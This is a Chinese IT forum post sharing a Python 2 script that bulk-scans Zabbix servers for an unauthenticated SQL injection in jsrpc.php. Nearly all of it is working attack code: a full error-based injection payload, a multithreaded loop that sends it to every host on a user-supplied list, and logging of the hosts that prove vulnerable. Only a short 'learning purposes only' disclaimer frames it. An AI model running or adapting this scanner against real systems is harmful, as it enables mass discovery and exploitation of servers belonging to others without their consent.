请选择 进入手机版 | 继续访问电脑版

IT运维管理,ITIL,ITSS,ITSM,ISO20000-ITIL先锋论坛

 找回密码
 点击获取邀请码 - 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

艾拓先锋
搜索
查看: 431|回复: 0

[Zabbix专区] Python研究:Zabbix SQL怎样注入批量验证脚本

[复制链接]
来自- 湖南娄底

参加活动:0

组织活动:12

发表于 2017-9-3 11:26:35 | 显示全部楼层 |阅读模式 来自- 湖南娄底
1.png

zabbix昨天又爆新SQL注入,无需登录直接可进行暴错注入,看了一下各大安全社区文章之后今天写一个脚本批量验证一下。
注:本脚本只在于学习与研究,请勿用与非法否则后果自负
#coding=utf-8
import urllib2
import re
import sys
import threading
import Queue

payload="/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
q=Queue.Queue()

class myThread (threading.Thread):
    def __init__(self,func,args1,args2):
        threading.Thread.__init__(self)
        self.func = func
        self.args1 = args1
        self.args2 = args2
    def run(self):
        self.func(self.args1, self.args2)

def zabbix(url):
        url=urllib2.urlopen(url)
        urlt=url.read()
        return urlt

def main(q,f):
        while True:
                if not q.empty():
                        try:
                                urll=q.get().strip()
                                print urll
                                url_=zabbix(urll)
                                urls=r"XPATH syntax error:"
                                user=re.compile(urls)
                                user_s=re.findall(user, url_)
                                if user_s:
                                        f.write(urll+"[zabbix ok]"+"\n")
                                        print urll+"[zabbix ok]"+"\n"
                                else:
                                        pass
                        except:
                                pass

if __name__ == '__main__':
        helps=u"""
                             zabbixscan扫描
                                作者:沦沦
                使用:zabbixscan -m 线程数 -u url文件.txt 保存文件.txt
        """
        if len(sys.argv)<2:
                print helps
        if len(sys.argv)>2:
                if sys.argv[1]=="-m" and sys.argv[3]=="-u":
                        threads = []
                        threadList = range(int(sys.argv[2]))
                        url=open(sys.argv[4],'r')
                        f=open(sys.argv[5],'w')
                        for urllt in url:
                                if urllt.strip():
                                        q.put("http://"+urllt.strip()+payload)
                        for i in threadList:
                                t = myThread(main, q, f)
                                t.setDaemon(True)
                                threads.append(t)
                                t.start()
                        for t in threads:
                                t.join()
                else:
                        print helps
1.png
0?wx_fmt=gif.jpg
原创:沦沦


本版积分规则

选择云运维时代的王牌讲师-长河老师,助你轻松入门ITIL Foundation培训课程

QQ|小黑屋|手机版|Archiver|ITIL先锋论坛五万运维人社区 ( 粤ICP备17056641号|网站地图

Baidu

GMT+8, 2018-8-21 14:08 , Processed in 0.276797 second(s), 37 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表